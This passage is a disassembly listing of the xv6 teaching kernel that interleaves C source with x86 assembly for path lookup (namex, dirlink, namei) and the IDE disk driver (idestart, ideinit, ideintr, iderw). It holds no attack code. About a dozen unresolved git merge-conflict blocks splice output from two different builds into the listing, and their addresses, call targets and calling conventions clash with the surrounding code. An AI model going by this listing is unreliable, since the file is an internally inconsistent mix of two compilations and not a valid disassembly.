iunlockput(ip);
return 0;
}
iunlockput(ip);
ip = next;
80101d66: 8b 45 e4 mov -0x1c(%ebp),%eax
80101d69: 89 c6 mov %eax,%esi
80101d6b: e9 33 ff ff ff jmp 80101ca3 <namex+0x43>
while(*path == '/')
path++;
if(*path == 0)
return 0;
s = path;
while(*path != '/' && *path != 0)
80101d70: 31 c9 xor %ecx,%ecx
80101d72: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
path++;
len = path - s;
if(len >= DIRSIZ)
memmove(name, s, DIRSIZ);
else {
memmove(name, s, len);
<<<<<<< HEAD
80101d28: 83 ec 04 sub $0x4,%esp
80101d2b: 89 55 dc mov %edx,-0x24(%ebp)
80101d2e: 89 4d e4 mov %ecx,-0x1c(%ebp)
80101d31: 51 push %ecx
80101d32: 53 push %ebx
80101d33: 57 push %edi
80101d34: e8 b7 2a 00 00 call 801047f0 <memmove>
=======
80101d78: 89 4c 24 08 mov %ecx,0x8(%esp)
80101d7c: 89 5c 24 04 mov %ebx,0x4(%esp)
80101d80: 89 3c 24 mov %edi,(%esp)
80101d83: 89 55 dc mov %edx,-0x24(%ebp)
80101d86: 89 4d e4 mov %ecx,-0x1c(%ebp)
80101d89: e8 12 28 00 00 call 801045a0 <memmove>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
name[len] = 0;
80101d8e: 8b 4d e4 mov -0x1c(%ebp),%ecx
80101d91: 8b 55 dc mov -0x24(%ebp),%edx
80101d94: c6 04 0f 00 movb $0x0,(%edi,%ecx,1)
80101d98: 89 d3 mov %edx,%ebx
80101d9a: e9 66 ff ff ff jmp 80101d05 <namex+0xa5>
return 0;
}
iunlockput(ip);
ip = next;
}
if(nameiparent){
80101d9f: 8b 45 e0 mov -0x20(%ebp),%eax
80101da2: 85 c0 test %eax,%eax
80101da4: 75 4c jne 80101df2 <namex+0x192>
80101da6: 89 f0 mov %esi,%eax
iput(ip);
return 0;
}
return ip;
}
80101da8: 83 c4 2c add $0x2c,%esp
80101dab: 5b pop %ebx
80101dac: 5e pop %esi
80101dad: 5f pop %edi
80101dae: 5d pop %ebp
80101daf: c3 ret
// Common idiom: unlock, then put.
void
iunlockput(struct inode *ip)
{
iunlock(ip);
80101db0: 89 34 24 mov %esi,(%esp)
80101db3: e8 c8 f9 ff ff call 80101780 <iunlock>
iput(ip);
80101db8: 89 34 24 mov %esi,(%esp)
80101dbb: e8 00 fa ff ff call 801017c0 <iput>
if(nameiparent){
iput(ip);
return 0;
}
return ip;
}
80101dc0: 83 c4 2c add $0x2c,%esp
iunlock(ip);
return ip;
}
if((next = dirlookup(ip, name, 0)) == 0){
iunlockput(ip);
return 0;
80101dc3: 31 c0 xor %eax,%eax
if(nameiparent){
iput(ip);
return 0;
}
return ip;
}
80101dc5: 5b pop %ebx
80101dc6: 5e pop %esi
80101dc7: 5f pop %edi
80101dc8: 5d pop %ebp
80101dc9: c3 ret
namex(char *path, int nameiparent, char *name)
{
struct inode *ip, *next;
if(*path == '/')
ip = iget(ROOTDEV, ROOTINO);
80101dca: ba 01 00 00 00 mov $0x1,%edx
80101dcf: b8 01 00 00 00 mov $0x1,%eax
80101dd4: e8 37 f4 ff ff call 80101210 <iget>
80101dd9: 89 c6 mov %eax,%esi
80101ddb: e9 c3 fe ff ff jmp 80101ca3 <namex+0x43>
iunlockput(ip);
return 0;
}
if(nameiparent && *path == '\0'){
// Stop one level early.
iunlock(ip);
80101de0: 89 34 24 mov %esi,(%esp)
80101de3: e8 98 f9 ff ff call 80101780 <iunlock>
if(nameiparent){
iput(ip);
return 0;
}
return ip;
}
80101de8: 83 c4 2c add $0x2c,%esp
return 0;
}
if(nameiparent && *path == '\0'){
// Stop one level early.
iunlock(ip);
return ip;
80101deb: 89 f0 mov %esi,%eax
if(nameiparent){
iput(ip);
return 0;
}
return ip;
}
80101ded: 5b pop %ebx
80101dee: 5e pop %esi
80101def: 5f pop %edi
80101df0: 5d pop %ebp
80101df1: c3 ret
}
iunlockput(ip);
ip = next;
}
if(nameiparent){
iput(ip);
80101df2: 89 34 24 mov %esi,(%esp)
80101df5: e8 c6 f9 ff ff call 801017c0 <iput>
return 0;
80101dfa: 31 c0 xor %eax,%eax
80101dfc: eb aa jmp 80101da8 <namex+0x148>
80101dfe: 66 90 xchg %ax,%ax
80101e00 <dirlink>:
}
// Write a new directory entry (name, inum) into the directory dp.
int
dirlink(struct inode *dp, char *name, uint inum)
{
80101e00: 55 push %ebp
80101e01: 89 e5 mov %esp,%ebp
80101e03: 57 push %edi
80101e04: 56 push %esi
80101e05: 53 push %ebx
80101e06: 83 ec 2c sub $0x2c,%esp
80101e09: 8b 5d 08 mov 0x8(%ebp),%ebx
int off;
struct dirent de;
struct inode *ip;
// Check that name is not present.
if((ip = dirlookup(dp, name, 0)) != 0){
80101e0c: 8b 45 0c mov 0xc(%ebp),%eax
80101e0f: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80101e16: 00
80101e17: 89 1c 24 mov %ebx,(%esp)
80101e1a: 89 44 24 04 mov %eax,0x4(%esp)
80101e1e: e8 7d fd ff ff call 80101ba0 <dirlookup>
80101e23: 85 c0 test %eax,%eax
80101e25: 0f 85 8b 00 00 00 jne 80101eb6 <dirlink+0xb6>
iput(ip);
return -1;
}
// Look for an empty dirent.
for(off = 0; off < dp->size; off += sizeof(de)){
80101e2b: 8b 43 58 mov 0x58(%ebx),%eax
80101e2e: 31 ff xor %edi,%edi
80101e30: 8d 75 d8 lea -0x28(%ebp),%esi
80101e33: 85 c0 test %eax,%eax
80101e35: 75 13 jne 80101e4a <dirlink+0x4a>
80101e37: eb 35 jmp 80101e6e <dirlink+0x6e>
80101e39: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101e40: 8d 57 10 lea 0x10(%edi),%edx
80101e43: 39 53 58 cmp %edx,0x58(%ebx)
80101e46: 89 d7 mov %edx,%edi
80101e48: 76 24 jbe 80101e6e <dirlink+0x6e>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101e4a: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80101e51: 00
80101e52: 89 7c 24 08 mov %edi,0x8(%esp)
80101e56: 89 74 24 04 mov %esi,0x4(%esp)
80101e5a: 89 1c 24 mov %ebx,(%esp)
80101e5d: e8 de fa ff ff call 80101940 <readi>
80101e62: 83 f8 10 cmp $0x10,%eax
80101e65: 75 5e jne 80101ec5 <dirlink+0xc5>
panic("dirlink read");
if(de.inum == 0)
80101e67: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80101e6c: 75 d2 jne 80101e40 <dirlink+0x40>
break;
}
strncpy(de.name, name, DIRSIZ);
<<<<<<< HEAD
80101e11: 8d 45 da lea -0x26(%ebp),%eax
80101e14: 83 ec 04 sub $0x4,%esp
80101e17: 6a 0e push $0xe
80101e19: ff 75 0c pushl 0xc(%ebp)
80101e1c: 50 push %eax
80101e1d: e8 be 2a 00 00 call 801048e0 <strncpy>
=======
80101e6e: 8b 45 0c mov 0xc(%ebp),%eax
80101e71: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
80101e78: 00
80101e79: 89 44 24 04 mov %eax,0x4(%esp)
80101e7d: 8d 45 da lea -0x26(%ebp),%eax
80101e80: 89 04 24 mov %eax,(%esp)
80101e83: e8 08 28 00 00 call 80104690 <strncpy>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
de.inum = inum;
80101e88: 8b 45 10 mov 0x10(%ebp),%eax
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101e8b: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80101e92: 00
80101e93: 89 7c 24 08 mov %edi,0x8(%esp)
80101e97: 89 74 24 04 mov %esi,0x4(%esp)
80101e9b: 89 1c 24 mov %ebx,(%esp)
if(de.inum == 0)
break;
}
strncpy(de.name, name, DIRSIZ);
de.inum = inum;
80101e9e: 66 89 45 d8 mov %ax,-0x28(%ebp)
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101ea2: e8 99 fb ff ff call 80101a40 <writei>
80101ea7: 83 f8 10 cmp $0x10,%eax
80101eaa: 75 25 jne 80101ed1 <dirlink+0xd1>
panic("dirlink");
return 0;
80101eac: 31 c0 xor %eax,%eax
}
80101eae: 83 c4 2c add $0x2c,%esp
80101eb1: 5b pop %ebx
80101eb2: 5e pop %esi
80101eb3: 5f pop %edi
80101eb4: 5d pop %ebp
80101eb5: c3 ret
struct dirent de;
struct inode *ip;
// Check that name is not present.
if((ip = dirlookup(dp, name, 0)) != 0){
iput(ip);
80101eb6: 89 04 24 mov %eax,(%esp)
80101eb9: e8 02 f9 ff ff call 801017c0 <iput>
return -1;
80101ebe: b8 ff ff ff ff mov $0xffffffff,%eax
80101ec3: eb e9 jmp 80101eae <dirlink+0xae>
}
// Look for an empty dirent.
for(off = 0; off < dp->size; off += sizeof(de)){
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("dirlink read");
<<<<<<< HEAD
80101e58: 83 ec 0c sub $0xc,%esp
80101e5b: 68 95 74 10 80 push $0x80107495
80101e60: e8 0b e5 ff ff call 80100370 <panic>
=======
80101ec5: c7 04 24 15 72 10 80 movl $0x80107215,(%esp)
80101ecc: e8 8f e4 ff ff call 80100360 <panic>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
strncpy(de.name, name, DIRSIZ);
de.inum = inum;
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("dirlink");
<<<<<<< HEAD
80101e65: 83 ec 0c sub $0xc,%esp
80101e68: 68 ce 7a 10 80 push $0x80107ace
80101e6d: e8 fe e4 ff ff call 80100370 <panic>
80101e72: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101e79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
=======
80101ed1: c7 04 24 6e 78 10 80 movl $0x8010786e,(%esp)
80101ed8: e8 83 e4 ff ff call 80100360 <panic>
80101edd: 8d 76 00 lea 0x0(%esi),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
80101ee0 <namei>:
return ip;
}
struct inode*
namei(char *path)
{
80101ee0: 55 push %ebp
char name[DIRSIZ];
return namex(path, 0, name);
80101ee1: 31 d2 xor %edx,%edx
return ip;
}
struct inode*
namei(char *path)
{
80101ee3: 89 e5 mov %esp,%ebp
80101ee5: 83 ec 18 sub $0x18,%esp
char name[DIRSIZ];
return namex(path, 0, name);
80101ee8: 8b 45 08 mov 0x8(%ebp),%eax
80101eeb: 8d 4d ea lea -0x16(%ebp),%ecx
80101eee: e8 6d fd ff ff call 80101c60 <namex>
}
80101ef3: c9 leave
80101ef4: c3 ret
80101ef5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101ef9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101f00 <nameiparent>:
struct inode*
nameiparent(char *path, char *name)
{
80101f00: 55 push %ebp
return namex(path, 1, name);
80101f01: ba 01 00 00 00 mov $0x1,%edx
return namex(path, 0, name);
}
struct inode*
nameiparent(char *path, char *name)
{
80101f06: 89 e5 mov %esp,%ebp
return namex(path, 1, name);
80101f08: 8b 4d 0c mov 0xc(%ebp),%ecx
80101f0b: 8b 45 08 mov 0x8(%ebp),%eax
}
80101f0e: 5d pop %ebp
}
struct inode*
nameiparent(char *path, char *name)
{
return namex(path, 1, name);
80101f0f: e9 4c fd ff ff jmp 80101c60 <namex>
80101f14: 66 90 xchg %ax,%ax
80101f16: 66 90 xchg %ax,%ax
80101f18: 66 90 xchg %ax,%ax
80101f1a: 66 90 xchg %ax,%ax
80101f1c: 66 90 xchg %ax,%ax
80101f1e: 66 90 xchg %ax,%ax
80101f20 <idestart>:
}
// Start the request for b. Caller must hold idelock.
static void
idestart(struct buf *b)
{
80101f20: 55 push %ebp
80101f21: 89 e5 mov %esp,%ebp
80101f23: 56 push %esi
80101f24: 89 c6 mov %eax,%esi
80101f26: 53 push %ebx
80101f27: 83 ec 10 sub $0x10,%esp
if(b == 0)
80101f2a: 85 c0 test %eax,%eax
80101f2c: 0f 84 99 00 00 00 je 80101fcb <idestart+0xab>
panic("idestart");
if(b->blockno >= FSSIZE)
80101f32: 8b 48 08 mov 0x8(%eax),%ecx
80101f35: 81 f9 e7 03 00 00 cmp $0x3e7,%ecx
80101f3b: 0f 87 7e 00 00 00 ja 80101fbf <idestart+0x9f>
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80101f41: ba f7 01 00 00 mov $0x1f7,%edx
80101f46: 66 90 xchg %ax,%ax
80101f48: ec in (%dx),%al
static int
idewait(int checkerr)
{
int r;
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
80101f49: 83 e0 c0 and $0xffffffc0,%eax
80101f4c: 3c 40 cmp $0x40,%al
80101f4e: 75 f8 jne 80101f48 <idestart+0x28>
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80101f50: 31 db xor %ebx,%ebx
80101f52: ba f6 03 00 00 mov $0x3f6,%edx
80101f57: 89 d8 mov %ebx,%eax
80101f59: ee out %al,(%dx)
80101f5a: ba f2 01 00 00 mov $0x1f2,%edx
80101f5f: b8 01 00 00 00 mov $0x1,%eax
80101f64: ee out %al,(%dx)
80101f65: 0f b6 c1 movzbl %cl,%eax
80101f68: b2 f3 mov $0xf3,%dl
80101f6a: ee out %al,(%dx)
idewait(0);
outb(0x3f6, 0); // generate interrupt
outb(0x1f2, sector_per_block); // number of sectors
outb(0x1f3, sector & 0xff);
outb(0x1f4, (sector >> 8) & 0xff);
80101f6b: 89 c8 mov %ecx,%eax
80101f6d: b2 f4 mov $0xf4,%dl
80101f6f: c1 f8 08 sar $0x8,%eax
80101f72: ee out %al,(%dx)
80101f73: b2 f5 mov $0xf5,%dl
80101f75: 89 d8 mov %ebx,%eax
80101f77: ee out %al,(%dx)
outb(0x1f5, (sector >> 16) & 0xff);
outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f));
80101f78: 0f b6 46 04 movzbl 0x4(%esi),%eax
80101f7c: b2 f6 mov $0xf6,%dl
80101f7e: 83 e0 01 and $0x1,%eax
80101f81: c1 e0 04 shl $0x4,%eax
80101f84: 83 c8 e0 or $0xffffffe0,%eax
80101f87: ee out %al,(%dx)
if(b->flags & B_DIRTY){
80101f88: f6 06 04 testb $0x4,(%esi)
80101f8b: 75 13 jne 80101fa0 <idestart+0x80>
80101f8d: ba f7 01 00 00 mov $0x1f7,%edx
80101f92: b8 20 00 00 00 mov $0x20,%eax
80101f97: ee out %al,(%dx)
outb(0x1f7, write_cmd);
outsl(0x1f0, b->data, BSIZE/4);
} else {
outb(0x1f7, read_cmd);
}
}
80101f98: 83 c4 10 add $0x10,%esp
80101f9b: 5b pop %ebx
80101f9c: 5e pop %esi
80101f9d: 5d pop %ebp
80101f9e: c3 ret
80101f9f: 90 nop
80101fa0: b2 f7 mov $0xf7,%dl
80101fa2: b8 30 00 00 00 mov $0x30,%eax
80101fa7: ee out %al,(%dx)
}
static inline void
outsl(int port, const void *addr, int cnt)
{
asm volatile("cld; rep outsl" :
80101fa8: b9 80 00 00 00 mov $0x80,%ecx
outb(0x1f4, (sector >> 8) & 0xff);
outb(0x1f5, (sector >> 16) & 0xff);
outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f));
if(b->flags & B_DIRTY){
outb(0x1f7, write_cmd);
outsl(0x1f0, b->data, BSIZE/4);
80101fad: 83 c6 5c add $0x5c,%esi
80101fb0: ba f0 01 00 00 mov $0x1f0,%edx
80101fb5: fc cld
80101fb6: f3 6f rep outsl %ds:(%esi),(%dx)
} else {
outb(0x1f7, read_cmd);
}
}
80101fb8: 83 c4 10 add $0x10,%esp
80101fbb: 5b pop %ebx
80101fbc: 5e pop %esi
80101fbd: 5d pop %ebp
80101fbe: c3 ret
idestart(struct buf *b)
{
if(b == 0)
panic("idestart");
if(b->blockno >= FSSIZE)
panic("incorrect blockno");
<<<<<<< HEAD
80101f6d: 83 ec 0c sub $0xc,%esp
80101f70: 68 00 75 10 80 push $0x80107500
80101f75: e8 f6 e3 ff ff call 80100370 <panic>
=======
80101fbf: c7 04 24 80 72 10 80 movl $0x80107280,(%esp)
80101fc6: e8 95 e3 ff ff call 80100360 <panic>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Start the request for b. Caller must hold idelock.
static void
idestart(struct buf *b)
{
if(b == 0)
panic("idestart");
<<<<<<< HEAD
80101f7a: 83 ec 0c sub $0xc,%esp
80101f7d: 68 f7 74 10 80 push $0x801074f7
80101f82: e8 e9 e3 ff ff call 80100370 <panic>
80101f87: 89 f6 mov %esi,%esi
80101f89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
=======
80101fcb: c7 04 24 77 72 10 80 movl $0x80107277,(%esp)
80101fd2: e8 89 e3 ff ff call 80100360 <panic>
80101fd7: 89 f6 mov %esi,%esi
80101fd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
80101fe0 <ideinit>:
return 0;
}
void
ideinit(void)
{
80101fe0: 55 push %ebp
80101fe1: 89 e5 mov %esp,%ebp
80101fe3: 83 ec 18 sub $0x18,%esp
int i;
initlock(&idelock, "ide");
<<<<<<< HEAD
80101f96: 68 12 75 10 80 push $0x80107512
80101f9b: 68 80 a5 10 80 push $0x8010a580
80101fa0: e8 4b 25 00 00 call 801044f0 <initlock>
=======
80101fe6: c7 44 24 04 92 72 10 movl $0x80107292,0x4(%esp)
80101fed: 80
80101fee: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp)
80101ff5: e8 06 23 00 00 call 80104300 <initlock>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
picenable(IRQ_IDE);
80101ffa: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
80102001: e8 ea 11 00 00 call 801031f0 <picenable>
ioapicenable(IRQ_IDE, ncpu - 1);
80102006: a1 80 2d 11 80 mov 0x80112d80,%eax
8010200b: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
80102012: 83 e8 01 sub $0x1,%eax
80102015: 89 44 24 04 mov %eax,0x4(%esp)
80102019: e8 82 02 00 00 call 801022a0 <ioapicenable>
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010201e: ba f7 01 00 00 mov $0x1f7,%edx
80102023: 90 nop
80102024: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102028: ec in (%dx),%al
static int
idewait(int checkerr)
{
int r;
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
80102029: 83 e0 c0 and $0xffffffc0,%eax
8010202c: 3c 40 cmp $0x40,%al
8010202e: 75 f8 jne 80102028 <ideinit+0x48>
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102030: ba f6 01 00 00 mov $0x1f6,%edx
80102035: b8 f0 ff ff ff mov $0xfffffff0,%eax
8010203a: ee out %al,(%dx)
8010203b: b9 e8 03 00 00 mov $0x3e8,%ecx
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102040: b2 f7 mov $0xf7,%dl
80102042: eb 09 jmp 8010204d <ideinit+0x6d>
80102044: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
ioapicenable(IRQ_IDE, ncpu - 1);
idewait(0);
// Check if disk 1 is present
outb(0x1f6, 0xe0 | (1<<4));
for(i=0; i<1000; i++){
80102048: 83 e9 01 sub $0x1,%ecx
8010204b: 74 0f je 8010205c <ideinit+0x7c>
8010204d: ec in (%dx),%al
if(inb(0x1f7) != 0){
8010204e: 84 c0 test %al,%al
80102050: 74 f6 je 80102048 <ideinit+0x68>
havedisk1 = 1;
80102052: c7 05 60 a5 10 80 01 movl $0x1,0x8010a560
80102059: 00 00 00
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010205c: ba f6 01 00 00 mov $0x1f6,%edx
80102061: b8 e0 ff ff ff mov $0xffffffe0,%eax
80102066: ee out %al,(%dx)
}
}
// Switch back to disk 0.
outb(0x1f6, 0xe0 | (0<<4));
}
80102067: c9 leave
80102068: c3 ret
80102069: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80102070 <ideintr>:
}
// Interrupt handler.
void
ideintr(void)
{
80102070: 55 push %ebp
80102071: 89 e5 mov %esp,%ebp
80102073: 57 push %edi
80102074: 56 push %esi
80102075: 53 push %ebx
80102076: 83 ec 1c sub $0x1c,%esp
struct buf *b;
// First queued buffer is the active request.
acquire(&idelock);
<<<<<<< HEAD
80102029: 68 80 a5 10 80 push $0x8010a580
8010202e: e8 dd 24 00 00 call 80104510 <acquire>
=======
80102079: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp)
80102080: e8 fb 22 00 00 call 80104380 <acquire>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if((b = idequeue) == 0){
80102085: 8b 1d 64 a5 10 80 mov 0x8010a564,%ebx
8010208b: 85 db test %ebx,%ebx
8010208d: 74 30 je 801020bf <ideintr+0x4f>
release(&idelock);
// cprintf("spurious IDE interrupt\n");
return;
}
idequeue = b->qnext;
8010208f: 8b 43 58 mov 0x58(%ebx),%eax
80102092: a3 64 a5 10 80 mov %eax,0x8010a564
// Read data if needed.
if(!(b->flags & B_DIRTY) && idewait(1) >= 0)
80102097: 8b 33 mov (%ebx),%esi
80102099: f7 c6 04 00 00 00 test $0x4,%esi
8010209f: 74 37 je 801020d8 <ideintr+0x68>
insl(0x1f0, b->data, BSIZE/4);
// Wake process waiting for this buf.
b->flags |= B_VALID;
b->flags &= ~B_DIRTY;
801020a1: 83 e6 fb and $0xfffffffb,%esi
801020a4: 83 ce 02 or $0x2,%esi
801020a7: 89 33 mov %esi,(%ebx)
wakeup(b);
<<<<<<< HEAD
8010205d: 53 push %ebx
8010205e: e8 8d 20 00 00 call 801040f0 <wakeup>
=======
801020a9: 89 1c 24 mov %ebx,(%esp)
801020ac: e8 2f 1e 00 00 call 80103ee0 <wakeup>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Start disk on next buf in queue.
if(idequeue != 0)
801020b1: a1 64 a5 10 80 mov 0x8010a564,%eax
801020b6: 85 c0 test %eax,%eax
801020b8: 74 05 je 801020bf <ideintr+0x4f>
idestart(idequeue);
801020ba: e8 61 fe ff ff call 80101f20 <idestart>
struct buf *b;
// First queued buffer is the active request.
acquire(&idelock);
if((b = idequeue) == 0){
release(&idelock);
<<<<<<< HEAD
80102074: 83 ec 0c sub $0xc,%esp
80102077: 68 80 a5 10 80 push $0x8010a580
8010207c: e8 6f 26 00 00 call 801046f0 <release>
=======
801020bf: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp)
801020c6: e8 e5 23 00 00 call 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Start disk on next buf in queue.
if(idequeue != 0)
idestart(idequeue);
release(&idelock);
}
801020cb: 83 c4 1c add $0x1c,%esp
801020ce: 5b pop %ebx
801020cf: 5e pop %esi
801020d0: 5f pop %edi
801020d1: 5d pop %ebp
801020d2: c3 ret
801020d3: 90 nop
801020d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801020d8: ba f7 01 00 00 mov $0x1f7,%edx
801020dd: 8d 76 00 lea 0x0(%esi),%esi
801020e0: ec in (%dx),%al
static int
idewait(int checkerr)
{
int r;
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
801020e1: 89 c1 mov %eax,%ecx
801020e3: 83 e1 c0 and $0xffffffc0,%ecx
801020e6: 80 f9 40 cmp $0x40,%cl
801020e9: 75 f5 jne 801020e0 <ideintr+0x70>
;
if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0)
801020eb: a8 21 test $0x21,%al
801020ed: 75 b2 jne 801020a1 <ideintr+0x31>
}
idequeue = b->qnext;
// Read data if needed.
if(!(b->flags & B_DIRTY) && idewait(1) >= 0)
insl(0x1f0, b->data, BSIZE/4);
801020ef: 8d 7b 5c lea 0x5c(%ebx),%edi
}
static inline void
insl(int port, void *addr, int cnt)
{
asm volatile("cld; rep insl" :
801020f2: b9 80 00 00 00 mov $0x80,%ecx
801020f7: ba f0 01 00 00 mov $0x1f0,%edx
801020fc: fc cld
801020fd: f3 6d rep insl (%dx),%es:(%edi)
801020ff: 8b 33 mov (%ebx),%esi
80102101: eb 9e jmp 801020a1 <ideintr+0x31>
80102103: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102109: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102110 <iderw>:
// Sync buf with disk.
// If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID.
// Else if B_VALID is not set, read buf from disk, set B_VALID.
void
iderw(struct buf *b)
{
80102110: 55 push %ebp
80102111: 89 e5 mov %esp,%ebp
80102113: 53 push %ebx
80102114: 83 ec 14 sub $0x14,%esp
80102117: 8b 5d 08 mov 0x8(%ebp),%ebx
struct buf **pp;
if(!holdingsleep(&b->lock))
<<<<<<< HEAD
801020ca: 8d 43 0c lea 0xc(%ebx),%eax
801020cd: 50 push %eax
801020ce: e8 ed 23 00 00 call 801044c0 <holdingsleep>
801020d3: 83 c4 10 add $0x10,%esp
801020d6: 85 c0 test %eax,%eax
801020d8: 0f 84 ad 00 00 00 je 8010218b <iderw+0xcb>
=======
8010211a: 8d 43 0c lea 0xc(%ebx),%eax
8010211d: 89 04 24 mov %eax,(%esp)
80102120: e8 ab 21 00 00 call 801042d0 <holdingsleep>
80102125: 85 c0 test %eax,%eax
80102127: 0f 84 9e 00 00 00 je 801021cb <iderw+0xbb>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
panic("iderw: buf not locked");
if((b->flags & (B_VALID|B_DIRTY)) == B_VALID)
8010212d: 8b 03 mov (%ebx),%eax
8010212f: 83 e0 06 and $0x6,%eax
80102132: 83 f8 02 cmp $0x2,%eax
80102135: 0f 84 a8 00 00 00 je 801021e3 <iderw+0xd3>
panic("iderw: nothing to do");
if(b->dev != 0 && !havedisk1)
8010213b: 8b 53 04 mov 0x4(%ebx),%edx
8010213e: 85 d2 test %edx,%edx
80102140: 74 0d je 8010214f <iderw+0x3f>
80102142: a1 60 a5 10 80 mov 0x8010a560,%eax
80102147: 85 c0 test %eax,%eax
80102149: 0f 84 88 00 00 00 je 801021d7 <iderw+0xc7>
panic("iderw: ide disk 1 not present");
acquire(&idelock); //DOC:acquire-lock
<<<<<<< HEAD
80102100: 83 ec 0c sub $0xc,%esp
80102103: 68 80 a5 10 80 push $0x8010a580
80102108: e8 03 24 00 00 call 80104510 <acquire>
=======
8010214f: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp)
80102156: e8 25 22 00 00 call 80104380 <acquire>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Append b to idequeue.
b->qnext = 0;
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
8010215b: a1 64 a5 10 80 mov 0x8010a564,%eax
panic("iderw: ide disk 1 not present");
acquire(&idelock); //DOC:acquire-lock
// Append b to idequeue.
b->qnext = 0;
80102160: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx)
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
80102167: 85 c0 test %eax,%eax
80102169: 75 07 jne 80102172 <iderw+0x62>
8010216b: eb 4e jmp 801021bb <iderw+0xab>
8010216d: 8d 76 00 lea 0x0(%esi),%esi
80102170: 89 d0 mov %edx,%eax
80102172: 8b 50 58 mov 0x58(%eax),%edx
80102175: 85 d2 test %edx,%edx
80102177: 75 f7 jne 80102170 <iderw+0x60>
80102179: 83 c0 58 add $0x58,%eax
;
*pp = b;
8010217c: 89 18 mov %ebx,(%eax)
// Start disk if necessary.
if(idequeue == b)
8010217e: 39 1d 64 a5 10 80 cmp %ebx,0x8010a564
80102184: 74 3c je 801021c2 <iderw+0xb2>
idestart(b);
// Wait for request to finish.
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
80102186: 8b 03 mov (%ebx),%eax
80102188: 83 e0 06 and $0x6,%eax
8010218b: 83 f8 02 cmp $0x2,%eax
8010218e: 74 1a je 801021aa <iderw+0x9a>
sleep(b, &idelock);
<<<<<<< HEAD
80102150: 83 ec 08 sub $0x8,%esp
80102153: 68 80 a5 10 80 push $0x8010a580
80102158: 53 push %ebx
80102159: e8 f2 1d 00 00 call 80103f50 <sleep>
=======
80102190: c7 44 24 04 80 a5 10 movl $0x8010a580,0x4(%esp)
80102197: 80
80102198: 89 1c 24 mov %ebx,(%esp)
8010219b: e8 a0 1b 00 00 call 80103d40 <sleep>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Start disk if necessary.
if(idequeue == b)
idestart(b);
// Wait for request to finish.
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
801021a0: 8b 13 mov (%ebx),%edx
801021a2: 83 e2 06 and $0x6,%edx
801021a5: 83 fa 02 cmp $0x2,%edx
801021a8: 75 e6 jne 80102190 <iderw+0x80>
